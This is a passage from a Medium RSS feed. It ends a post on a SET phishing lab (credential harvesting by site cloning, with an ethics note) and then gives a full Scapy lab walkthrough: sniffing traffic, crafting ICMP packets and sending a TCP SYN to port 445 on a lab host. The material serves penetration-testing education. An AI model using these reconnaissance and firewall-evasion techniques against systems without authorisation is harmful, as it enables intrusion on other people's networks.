engagements. Violating this principle can lead to legal consequences and ethical breaches.</p><p>In real-world scenarios, companies must conduct user-awareness training to prevent employees from falling victim to phishing schemes. Phishing simulations like this one should be used to identify weak points in human security behavior and to improve organizational policies.</p><p><strong>Conclusion</strong></p><p>The lab successfully demonstrated how the Social-Engineer Toolkit (SET) can be used to clone websites and harvest user credentials. While such attacks are technically straightforward to implement, they pose serious ethical and legal risks when used improperly. This exercise reinforced the importance of user training, ethical hacking practices, and organizational safeguards against phishing. Similar tools such as GoPhish and RubikPhish exist for enterprise-grade simulations, but the core concepts remain the same. Ultimately, the human factor continues to be the weakest link in cybersecurity.</p><p><strong>References</strong></p><p>TrustedSec — SET: <a href="https://www.trustedsec.com/">https://www.trustedsec.com</a><br> SET GitHub Repository: <a href="https://github.com/trustedsec/setoolkit">https://github.com/trustedsec/setoolkit</a><br> Kali Linux Documentation: <a href="https://www.kali.org/docs">https://www.kali.org/docs</a><br> Australian Cyber Security Centre — Phishing Guidelines: <a href="https://www.cyber.gov.au/">https://www.cyber.gov.au</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9417c4737f53" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Packet Crafting Using Scapy]]></title>
            <link>https://medium.com/@m.sameer.malik113/packet-crafting-using-scapy-a27e14e939ac?source=rss-34384062a293------2</link>
            <guid isPermaLink="false">https://medium.com/p/a27e14e939ac</guid>
            <category><![CDATA[packet-crafting]]></category>
            <category><![CDATA[packet]]></category>
            <category><![CDATA[scapy]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[networking]]></category>
            <dc:creator><![CDATA[M Sameer Malik]]></dc:creator>
            <pubDate>Sat, 12 Jul 2025 15:43:25 GMT</pubDate>
            <atom:updated>2025-07-12T15:43:25.529Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Background:</strong></p><p>Packet Crafting Plays an important role in bypassing IDS, IPS and firewalls. As they are programmed to allow only certain type of traffic to pass through in this lab, we aim to learn the basics of creating our own packet using a tool called scapy!</p><p><strong>About Scapy</strong></p><p>Scapy is a Python program that enables the user to send, sniff, dissect and forge network packets. This capability allows construction of tools that can probe, scan or attack networks.</p><p>In other words, Scapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more. Scapy can easily handle most classical tasks like scanning, tracerouting, probing, unit tests, attacks or network discovery. It can replace hping, arpspoof, arp-sk, arping, p0f and even some parts of Nmap, tcpdump, and tshark.</p><p><strong>Lab — Packet Crafting with Scapy</strong></p><p><strong>Objectives</strong></p><p>In this lab, you will use Scapy, a Python-based packet manipulation tool, to craft custom packets. These custom packets will be used to perform reconnaissance on a target system.</p><ul><li>Part 1: Investigate the Scapy Tool.</li><li>Part 2: Use Scapy to Sniff Network Traffic.</li><li>Part 3: Create and Send an ICMP Packet.</li><li>Part 4: Create and Send TCP SYN Packets.</li></ul><p><strong>Scenario</strong></p><p>Penetration testers and ethical hackers often use specially-crafted packets to discover and/or exploit vulnerabilities in clients’ infrastructure and systems. You have used Nmap to scan and analyze vulnerabilities in a computer attached to the local network.</p><p>In this lab, you will perform further reconnaissance on the same computer using custom ICMP and TCP packets.</p><p><strong>Required Resources</strong></p><ul><li>Kali VM</li><li>Internet Access</li></ul><p><strong>Part 1: Investigate the Scapy Tool</strong></p><p>Scapy is a multi-purpose tool originally written by Philippe Biondi. In this part, you will load the Scapy tool and explore some of its capabilities. Tools like Scapy should only be used to scan or communicate with machines that you own or have written permission to access.</p><p><strong>Step 1: Investigate Scapy documentation and resources.</strong></p><p>Scapy can be run interactively from the Python shell or can be incorporated into Python programs by importing the python-scapy module. The Scapy tool has extensive documentation online at <a href="https://scapy.readthedocs.io/en/latest/introduction.html">https://scapy.readthedocs.io/en/latest/introduction.html</a>. This customized Kali Linux is distributed with both Python and Scapy pre-installed.</p><ol><li>Start the Kali VM and login.</li><li>Open the browser and navigate to <a href="https://scapy.readthedocs.io/en/latest/introduction.html">https://scapy.readthedocs.io/en/latest/introduction.html</a>. Read the Introduction page written by the Scapy creator, Philippe Biondi.</li></ol><p><strong>Step 2: Use Scapy interactive command mode.</strong></p><p>Enter the <strong>scapy</strong> command in a terminal window to load the Python interpreter. By using this command, the interpreter runs pre-loaded with the Scapy classes and objects. You will enter Scapy commands interactively and receive the output. Scapy commands can also be embedded in a Python script.</p><ol><li>The commands to craft and send packets require root privileges to run. Use the <strong>sudo su</strong> command to obtain root privileges before starting Scapy.</li></ol><p>┌──(kali㉿kali)-[~]</p><p>└─$ <strong>sudo su</strong></p><p>[sudo] password for kali:</p><p>┌──(root㉿kali)-[/home/kali]</p><p>└─#</p><ol><li>Load the Scapy tool using the <strong>scapy</strong> command. The interactive Python interpreter will load and present a screen image similar to that shown.</li></ol><p>┌──(root㉿kali)-[/home/kali]</p><p>└─# <strong>scapy</strong></p><ol><li>At the &gt;&gt;&gt; prompt within the Scapy shell, enter the <strong>ls()</strong> function to list all of the available default formats and protocols included with the tool. The list is quite extensive and will fill multiple screens.</li></ol><p>&gt;&gt;&gt; <strong>ls()</strong></p><p>TFTP is a protocol used to send and receive files on a LAN segment. It is commonly used to back up configuration files on networking devices. Scroll up to view the available TFTP packet formats.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Fp933mCa0jEUPgVEGR0SGw.png" /></figure><p>To list the modifiable fields inside a specific type of packet use this syntax &gt;&gt;&gt; ls(&lt;type&gt;).</p><p>For example to see the TCP fields that can be modified by using scapy we use the following command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Az3GtEVoCQBr0jUuw_Z33A.png" /></figure><p>The DNS packet fields that can be modified by Scapy:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*45SLiXs12hKnky6GGXxm0A.png" /></figure><p>Moreover we can use the Explore function to see the more DNS packets in scapy using the command below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*EmcdJVHTrtWCETsjM0ocqA.png" /></figure><p><strong>Step 3: Examine the fields in an IPv4 packet header.</strong></p><ol><li>It is important to understand the structure of an IP packet before creating and sending custom packets over the network. Each IP packet has an associated header that provides information about the structure of the packet. Review this information before continuing with the lab.</li></ol><p><strong>IPv4 Packet Header Fields</strong></p><p>The binary values of each field identify various settings of the IP packet. Protocol header diagrams, which are read left to right, and top down, provide a visual to refer to when discussing protocol fields. The IP protocol header diagram in the figure identifies the fields of an IPv4 packet.</p><p><strong>Fields in the IPv4 Packet Header</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*MJws-igqeCaelNRFSQ9zwQ.png" /></figure><p><em>Significant fields in the IPv4 header include the following:</em></p><ul><li><strong><em>Version</em></strong><em> — Contains a 4-bit binary value set to 0100 that identifies this as an IPv4 packet.</em></li><li><strong><em>Differentiated Services or DiffServ (DS)</em></strong><em> — Formerly called the type of service (ToS) field, the DS field is an 8-bit field used to determine the priority of each packet. The six most significant bits of the DiffServ field are the differentiated services code point (DSCP) bits and the last two bits are the explicit congestion notification (ECN) bits.</em></li><li><strong><em>Time to Live (TTL)</em></strong><em> — TTL contains an 8-bit binary value that is used to limit the lifetime of a packet. The source device of the IPv4 packet sets the initial TTL value. It is decreased by one each time the packet is processed by a router. If the TTL field decrements to zero, the router discards the packet and sends an Internet Control Message Protocol (ICMP) Time Exceeded message to the source IP address. Because the router decrements the TTL of each packet, the router must also recalculate the Header Checksum.</em></li><li><strong><em>Protocol</em></strong><em> — This field is used to identify the next level protocol. This 8-bit binary value indicates the data payload type that the packet is carrying, which enables the network layer to pass the data to the appropriate upper-layer protocol. Common values include ICMP (1), TCP (6), and UDP (17).</em></li><li><strong><em>Header Checksum</em></strong><em> — This is used to detect corruption in the IPv4 header.</em></li><li><strong><em>Source IPv4 Address</em></strong><em> — This contains a 32-bit binary value that represents the source IPv4 address of the packet. The source IPv4 address is always a unicast address.</em></li><li><strong><em>Destination IPv4 Address</em></strong><em> — This contains a 32-bit binary value that represents the destination IPv4 address of the packet. The destination IPv4 address is a unicast, multicast, or broadcast address.</em></li></ul><p><strong>Part 2: Use Scapy to Sniff Network Traffic</strong></p><p>Scapy can be used to capture and display network traffic, similar to a tcpdump or tshark packet collection.</p><p><strong>Step 1: Use the sniff() function.</strong></p><ol><li>Use the <strong>sniff()</strong> function to collect traffic using the default eth0 interface of your VM. Start the capture with the <strong>sniff()</strong> function without specifying any arguments.</li></ol><p>&gt;&gt;&gt; <strong>sniff()</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*uXzfZvtR0Cc_I4qHh9GKHg.png" /></figure><p>Open a second terminal window and <strong>ping</strong> an internet address, such as <a href="http://www.cisco.com./"><strong>www.cisco.com</strong>.</a> Remember to specify the count using the <strong>-c</strong> argument.</p><p>┌──(kali㉿kali)-[~]</p><p>└─$ <strong>ping -c 5 </strong><a href="http://www.cisco.com/"><strong>www.cisco.com</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Cjw58hsW9T3_s2SDdNhGpA.png" /></figure><p>Return to the terminal window that is running the Scapy tool. Press <strong>CTRL-C</strong> to stop the capture. You should receive output similar to what is shown here:</p><p>^C&lt;Sniffed: TCP:525 UDP:42 ICMP:10 Other:845&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*d4JMYjOuz6W1gLLYjXFEjw.png" /></figure><p>View the captured traffic using the <strong>summary()</strong> function. The <strong>a=_</strong> assigns the variable <strong>a </strong>to hold the output of the <strong>sniff()</strong> function. The underscore ( _ ) in Python is used to temporarily hold the output of the last function executed.</p><p>&gt;&gt;&gt;<strong> a=_</strong></p><p>&gt;&gt;&gt;<strong> a.summary()</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*0acenYP38PGK-cEdqVHQWQ.png" /></figure><p>The output of this command can be extensive, depending on the applications running on the network.</p><p><strong>sniff(iface=”</strong><em>interface name</em><strong>”, filter = “</strong><em>protocol</em><strong>”, count =</strong> <em>integer</em><strong>)</strong>.</p><p>&gt;&gt;&gt; <strong>sniff(iface=”br-internal”,filter = “icmp”,count = 10)</strong></p><ol><li>Open a second terminal window and ping</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*leo4k-9KQxPR1eFDa3TWFw.png" /></figure><p>c. Return to the terminal window running the Scapy tool. The capture automatically stopped when 10 packets were sent or received. View the captured traffic with line numbers using the <strong>nsummary()</strong> function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*OASDjtyag6V7vWWf6qrDgQ.png" /></figure><p>&gt;&gt;&gt; <strong>a=_</strong></p><p>&gt;&gt;&gt;<strong> a.nsummary()</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*KNnSaSNHsNBhNdAVKQmg6A.png" /></figure><p>The summary should only contain 10 lines because the capture count is equal to 10.</p><ol><li>To view details about a specific packet in the series, refer to the blue line number of the packet. Do not include the leading zeros.</li></ol><p>&gt;&gt;&gt; <strong>a[2]</strong></p><p>The detail output shows the layers of information about the protocol data units (PDUs) that make up the packet. The protocol layer names appear in red in the output. Examine the source (src) and destination (dst) addresses as well as the raw data (load=) portion of the collected packet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*CF8znkMFec5LHWbBNlELZA.png" /></figure><p>Use the <strong>wrpcap()</strong> function to save the captured data to a pcap file that can be opened by Wireshark and other applications. The syntax is <strong>wrpcap(“</strong><em>filename</em>.<em>pcap</em>”, <em>variable name</em><strong>), </strong>in this example the variable that you stored the output is “<strong>a</strong>”.</p><p>&gt;&gt;&gt; <strong>wrpcap(“capture1.pcap”, a)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*mzXNJujYepNeihvjxWwLYA.png" /></figure><p>The .pcap file will be written to the default user directory. Use a different terminal window to verify the location of the <strong>capture1.pcap</strong> file using the Linux <strong>ls</strong> command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*cKaDqLvUNCSM6uEZD2enyA.png" /></figure><p><strong>Part 3: Create and Send an ICMP Packet.</strong></p><p>ICMP is a protocol designed to send control messages between network devices for various purposes. There are many types of ICMP packets, with echo-request and echo-reply the most familiar to IT technicians. To see a list of the message types that can be sent and received using ICMP, navigate to<strong> </strong><a href="https://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml">https://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml</a><strong>.</strong></p><p><strong>Step 1: Use interactive mode to create and send a custom ICMP packet.</strong></p><p>In a Scapy terminal window, enter the command to sniff traffic from the interface connected to the network.</p><p>&gt;&gt;&gt; <strong>sniff(iface=”eth0”)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*FwxStJGyc3wE85XFXW_E1w.png" /></figure><p>Open another terminal window, enter <strong>sudo su</strong> to perform packet crafting as root. Start a second instance of Scapy. Enter the <strong>send</strong>() function to send a packet with a modified ICMP payload.</p><p>┌──(kali㉿kali)-[~]</p><p>└─$ <strong>sudo su</strong></p><p>[sudo] password for kali:</p><p>┌──(root㉿kali)-[/home/kali]</p><p>└─# <strong>scapy</strong></p><p>&gt;&gt;&gt; <strong>send(IP(dst=”IP”)/ICMP()/”This is a test”)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*wOaXAVPCJD4qEucjOPRhDw.png" /></figure><p>Return to the first terminal window and press <strong>CTRL-C</strong>. You should receive a response similar to this:</p><p>^C&lt;Sniffed: TCP:13 UDP:2 ICMP:1 Other:0&gt;</p><p>And this is our captured packet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*GOqyW-PZvAbdq2XkEhXX8w.png" /></figure><p><strong>Part 4: Create and Send a TCP SYN Packet.</strong></p><p><strong>Step 1: Start the packet capture on the internal interface.</strong></p><p>In the original Scapy terminal window, begin a packet capture on the internal interface attached to the network. Use the interface name that you obtained previously.</p><p>Navigate to the second terminal window. Create and send a TCP SYN packet using the command shown.</p><p>&gt;&gt;&gt; <strong>send(IP(dst=”10.6.6.23&quot;)/TCP(dport=445, flags=”S”))</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*uPR-2ObLaKtzX6m-zat1gQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*s0HAjE-OPFg4CqOrAck0Pw.png" /></figure><p>1 packet sent</p><p>This command sent an IP packet to the host with IP address 10.6.6.23. The packet is addressed to TCP port 445 and has the S (SYN) flag set.</p><p>Close the terminal window.</p><p>In the original Scapy terminal window, begin a packet capture on the internal interface attached to the network. Use the interface name that you obtained previously.</p><p>Navigate to the second terminal window. Create and send a TCP SYN packet using the command shown.</p><p>&gt;&gt;&gt; <strong>send(IP(dst=”10.6.6.23&quot;)/TCP(dport=445, flags=”S”))</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*y7vOCclzrH5lUQ6lVwBS8w.png" /></figure><p>This command sent an IP packet to the host with IP address 10.6.6.23. The packet is addressed to TCP port 445 and has the S (SYN) flag set.</p><p>Close the terminal window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*3CYj6a-ougyP20sJjqqU2g.png" /></figure><p>To check our particular packet we used the following command:</p><h3>Conclusion:</h3><p>This Lab provided a generic Introduction to Packet Crafting using Scapy, Scapy is a very potent tool if deployed correctly to maximize on its benefits it is essential to have a solid foundation that is exactly what this lab aimed to provide. So I Hope you guys learnt something from this.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a27e14e939ac" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>